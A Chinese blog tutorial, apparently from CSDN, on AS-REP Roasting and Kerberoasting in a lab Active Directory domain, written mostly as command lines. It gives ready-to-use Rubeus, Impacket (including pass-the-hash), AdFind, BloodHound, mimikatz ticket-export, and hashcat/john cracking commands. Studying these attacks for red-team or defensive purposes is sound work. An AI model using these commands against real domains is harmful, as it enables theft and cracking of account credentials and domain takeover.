AS-REP Roasting与Kerberoasting利用

简介
本篇将讲解AS-REP Roasting与Kerberoasting配置过程与利用手法
AS-REP Roasting(域内机器)利用
AS-REP Roasting是一种对用户理想爆破的攻击方式,需要域用户配置了
不需要求Kerberos预身份认证,默认开启认证Kerberos预身份验证发生在
Kerberos身份验证的第一阶段AS_REQ & AS_REP,它主要作用是防止密码
离线破解,KDC会记录密码错误次数防止在线爆破。
配置:

在这里插入图片描述

AS-REP Roasting攻击步骤:
	1.获取AS-REP响应包中用户Hash加密的Login Session Key。
	2.对上一步获取的Login Session Key进行解密因为是通过用户Hash加密的。
AS-REP Roasting攻击条件:
	1.域用户勾选不要钱Kerberos预身份验证选项。
	2.需要一台与KDC 88端口进行通信的主机。	
Rubeus(域内机器)利用:
	Rubeus.exe asreproast /format:john /outfile:hash.txt

在这里插入图片描述

ASREPROast.ps1(域内机器)脚本利用
	下载:	
	https://github.com/HarmJ0y/ASREPRoast
	修改powershell策略可以加载脚本
	Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
	命令:
	Import-Module .\ASREPRoast.ps1
	Invoke-ASREPRoast | select -ExpandProperty Hash

在这里插入图片描述

AS-REP Roasting(非域内机器)利用
非域内机器的我这里的利用思路是通过adfind或者bloodhound查询不需要Kerberos
预身份验证的账户,之后在使用Impacket下的GetNPUsers.py脚本获取指定用户的Hash
加密的Login Session Key。
Adfind查询:
	Adfind.exe -h 10.211.55.100 -u test\lisi -up Pass123 -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" dn

在这里插入图片描述

bloodhound分析:
	bloodhound.py脚本抓取域信息
	命令:
	bloodhound.py -u lisi  -d test.com -ns 10.211.55.100 -c DcOnly

在这里插入图片描述
在这里插入图片描述

使用Impacket下的GetNPUsers.py获取Hash
命令:
	python3 GetNPUsers.py -dc-ip 10.211.55.100 -usersfile users.txt -format john test.com/

在这里插入图片描述

使用John爆破AS-REP Roasting Hash
将获取到的Hash保存到txt文件中,爆破成功与否和字典强度有关。
命令:
	john --wordlist=/xxx/字典.txt hash.txt	

在这里插入图片描述

Kerberoasting简述
Kerberoasting攻击发生在Kerberos协议的TGS_REP阶段,KDC的TGS是由服务Hash加密的ST给客户端,
由于ST是用服务Hash进行加密的,因此客户端在拿到ST之后可以用于本地离线爆破,如果该服务由高权限
用户Hash加密的则肯能直接接管域控。
Kerberoasting攻击过程:
	1.攻击者提供一个正常域用户密码进行认证获得TGT。
	2.攻击者使用该TGT针对指定SPN请求。
	3.KDC验证TGT之后服务Hash加密的ST(不管TGT是否有权限使用都会返回ST)。
	4.攻击者离线爆破该ST。
Kerberoasting注意:
	攻击一般只针对于注册在用户下的SPN,机器账户的密码太过于复杂是128位的字符不可能爆破出来。
Kerberoasting攻击步骤:
	1.查询域内注册于域用户下的SPN
	2.请求指定SPN的ST
	3.导出ST
	4.对导出的ST进行离线破解
Kerberoasting环境配置
在域控下打开powershell执行一下命令:
setspn -S Hacker/test.com kerberoasting
命令解释:
Hacker是服务名
test.com是域名
kerberoasting是域用户名

在这里插入图片描述

查询所有SPN命令看看是否配置成功
setspn -q */*

在这里插入图片描述

Kerberoasting发现
Adfind查询配置了SPN的域内用户账户
命令:
	AdFind.exe -f "&(objectCategory=person)(objectClass=user)(servicePrincipalName=*)" -nodn samaccountname

在这里插入图片描述

bloodhound查询配置了域内用户账户的SPN
Analysis下Shortest Paths中Shortest Paths from Kerberoastable Users

在这里插入图片描述

Kerberoasting请求服务票据
GetUserSPNs.py工具请求服务票据:
	Impacket中的GetUserSPNs.py脚本可以请求注册于用户下所有SPN的服务票据,
	也可以请求注册于指定用户下的SPN服务票据。
	请求注册于用户下所有SPN的服务票据,并以hashcat能够破解的格式保存为spn.txt文件:
	GetUserSPNs.py -request -dc-ip 10.211.55.100 'test.com/ruyu' -hashes :4c25ed57e37131073192a98148fbc30f -outputfile spn.txt

在这里插入图片描述

请求注册于指定用户下的SPN服务票据,并以hashcat能够破解的格式保存
GetUserSPNs.py -request -dc-ip 10.211.55.100 'test.com/ruyu' -hashes :4c25ed57e37131073192a98148fbc30f -outputfile spn.txt -request-user 账户名

在这里插入图片描述

Rubeus 请求:
	请求注册于用户下所有SPN的服务票据,并以hashcat能破解的方式保存spn.txt
	Rubeus.exe kerberoast /format:john /outfile:spn.txt
	请求注册于用户下指定SPN的服务票据,并以john能够破解的方式保存spn.txt
	Rubeus.exe kerberoast /spn:SPN名称 /format:john /outfile:spn.txt
mimikatz请求服务票据
	请求指导SPN的服务票据
	kerberos::ask /target:SPN名称

在这里插入图片描述

cmd下klist查看票据
mimikatz下kerberos::list查看票据

在这里插入图片描述

mimikatz导出票据命令:
	mimikatz.exe "kerberos::list /export"  "exit"

在这里插入图片描述

破解服务票据
hashcat破解服务票据:
	hashcat是针对Impacket或Rebus请求的票据格式。
	hashcat -m 13100 spn.txt pass.txt --force

在这里插入图片描述

kerberoast破解服务票据
	kerberoast用于攻击Kerberos实现的一些工具集合,该工具中tgsrepcrack.py脚本可以针对
	mimikatz.exe导出的.kirbi格式票据文件进行爆破。	
	命令:
	 python2 tgsrepcrack.py pass.txt 1-40a10000-lisi@Hacker\~test.com-TEST.COM.kirbi
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

虚构之人

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值